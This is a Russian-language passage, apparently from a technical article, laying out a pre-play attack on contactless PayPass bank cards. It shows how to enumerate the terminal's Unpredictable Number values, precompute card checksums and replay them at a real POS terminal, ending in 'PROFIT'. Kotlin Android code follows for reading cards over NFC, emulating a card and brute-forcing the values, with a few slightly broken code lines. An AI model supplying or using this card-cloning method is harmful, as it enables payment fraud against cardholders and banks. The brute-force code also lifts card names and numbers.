Во-первых, спецификация ограничивает UN кодировкой чисел, а именно Двоично-Десятичным Кодом (BCD), что по сути означает что, если мы посмотрим на такое закодированное число в HEX, то мы увидим только цифры от 0 до 9, все остальные значения считаются как бы запрещенными. Таким образом, количество UN уменьшается с 4,294,967,295 до 99,999,999.

Во-вторых, количество значащих цифр UN определяется картой. Таким образом в зависимости от специальных параметров в треках количество цифр в UN может быть от 10 до 10000 в зависимости от типа карты, на практике чаще всего встречается 1000 значений.

Таким образом план атаки выглядит следующий:

1. Считываем карту и узнаем количество значащих цифр у UN, которое будет предоставлять терминал
2. Перебираем все UN, получаем все возможные значения функции COMPUTE_CRYPTOGRAHIC_CHECKSUM, сохраняем их в соответствующей таблице с мапингом UN -> Result
3. Подносим к POS-терминалу, узнаем число, которое просит POS-терминал.
4. Выбираем из таблицы нужный результат и подставляем его в ответ терминалу.
5. Транзакция уходит.
6. PROFIT. Но успех одобрения транзакции не гарантирован, поскольку банк эмитент может отклонить такую транзакцию.

Стоит отметить также, что счетчик транзакций (ATC) препятствует повторному использованию ранее использованных кодов аутентификации, а значит что если мы использовали такую атаку, то необходимо копировать карту заново, поскольку счетчик транзакции уже использовался для получения информации и был использован в подписи, что значит, что если мы имели счетчик транзакций 1000, а после отправили транзакцию в банк, то банк уже не примет транзакции со счетчиком ниже <1001.

В большинстве случаев передаваемые данные с карты статические для всех транзакций. Конечно, кроме COMPUTE_CRYPTOGRAPHIC_CHECKSUM. Для генерации динамического CVC3 кода, приложение карты должно быть прочитано командой SELECT, затем GET_PROCESSING_OPTIONS, а только потом COMPUTE_CRYPTOGRACHIC_CHECKSUM и это довольно важный момент.

Для работы с терминалом и картой использовалась программа Terminal Simulator от MasterCard. Он прекрасно работает с различными NFC-считывателями и считывателями смарт карт. К тому же он абсолютно бесплатен. Он позволяет тестировать карты при различных настройках POS-терминала и ведет подробный лог всех запросов от терминала и ответов карты. Также его можно использовать для тестирования приложения на телефоне, работающего в режиме карты.

Для чтения карты использовался NFC считыватель ACR122.

Теперь давайте попробуем все это преобразовать в код. Приложение будем писать на языке Kotlin под Android. Сначала попытаемся описать общую структуру команды.

data class Command(
var CLA: String = 0x00.toString(),
var INS: String = 0x00.toString(), 
var P1: String = "", 
var P2: String = "",
var Lc: String = "",
var Nc: String = "",
var Le: String = "", 
var Nr: String = "", 
var SW1WS2: String = "" 
) {
fun split(): ByteArray {
return getHexString().hexToByteArray()
}
fun getHexString() = CLA.plus(INS).plus(P1).plus(P2).plus(Lc).plus(Nc).plus(Le).plus(Nr).plus(SW1WS2)
}

Для начала нам нужно настроить работу с NFC. На телефоне мы можем работать в двух режимах. В режиме карты, это когда мы отвечаем на команды от терминала, и в режиме терминала когда отсылаем команды и производим считывание, например карты. Т.е. сначала мы можем клонировать карту, а потом сделать так чтобы на запросы от терминала мы отвечали уже заготовленными командами.

Далее упрощенная реализация взаимодействия с NFC:

	private var nfcAdapter: NfcAdapter? = null                                                  /*!< represents the local NFC adapter */
private var tag: Tag? = null  /*!< represents an NFC tag that has been discovered */
private lateinit var tagcomm: IsoDep  /*!< provides access to ISO-DEP (ISO 14443-4) */
private val nfctechfilter = arrayOf(arrayOf(NfcA::class.java.name))  	/*!<  NFC tech lists */
private var nfcintent: PendingIntent? = null
....
override fun onCreate(savedInstanceState: Bundle?) {
super.onCreate(savedInstanceState)
setContentView(R.layout.activity_main)
nfcAdapter = NfcAdapter.getDefaultAdapter(this)
nfcintent = PendingIntent.getActivity(this, 0, Intent(this, javaClass).addFlags(Intent.FLAG_ACTIVITY_SINGLE_TOP), 0)
cardEmulation = CardEmulation.getInstance(nfcAdapter)
nfcAdapter?.enableForegroundDispatch(this, nfcintent, null, nfctechfilter)
}
....
override fun onNewIntent(intent: Intent) {
super.onNewIntent(intent)
tag = intent.getParcelableExtra(NfcAdapter.EXTRA_TAG)
cardReading(tag)
}
.....
override fun onResume() {
super.onResume()
if (canSetPreferredCardEmulationService()) {
this.cardEmulation?.setPreferredService(this, ComponentName(this, "com.nooan.cardpaypasspass.NfcService"));
}
}
override fun onPause() {
if (canSetPreferredCardEmulationService()) {
this.cardEmulation?.unsetPreferredService(this)
}
super.onPause()
}
private fun cardReading(tag: Tag?) {
tagcomm = IsoDep.get(tag)
try {
tagcomm.connect()
} catch (e: IOException) {
error = "Reading card data ... Error tagcomm: "   e.message
Toast.makeText(applicationContext, error, Toast.LENGTH_SHORT).show()
return
}
try {
when {
commands != null -> readCardWithOurCommands()
mChip -> readCardMChip()
else -> readCardMagStripe()
}
} catch (e: IOException) {
error = "Reading card data ... Error tranceive: "   e.message
Toast.makeText(applicationContext, error, Toast.LENGTH_SHORT).show()
return
} finally {
tagcomm.close()
}
}
protected fun execute(command: Command, log:Boolean): ByteArray {
val bytes = command.split()
listLogs.add(bytes.toHex())
val recv = tagcomm.transceive(bytes)
listLogs.add(recv.toHex())
return recv
}

Здесь описывается последовательность команд и перебор значений Unpredictable Number в цикле от 0 до 999, в нужную нам команду изменяем Nc на «00000${String.format(»d”, i)}”.replace(“..(?!$)”.toRegex(), “$0 “). И не забываем выполнять GET_PROCESSING_OPTIONS каждый раз перед COMPUTE_CRYPTOGRAPHIC_CHECKSUM иначе чек сумма подсчитываться не будет.

В результате это все можно записать в файл и использовать уже при работе с настоящим терминалом. Здесь же мы получаем Имя и Номер карточки, можем отобразить это на экране.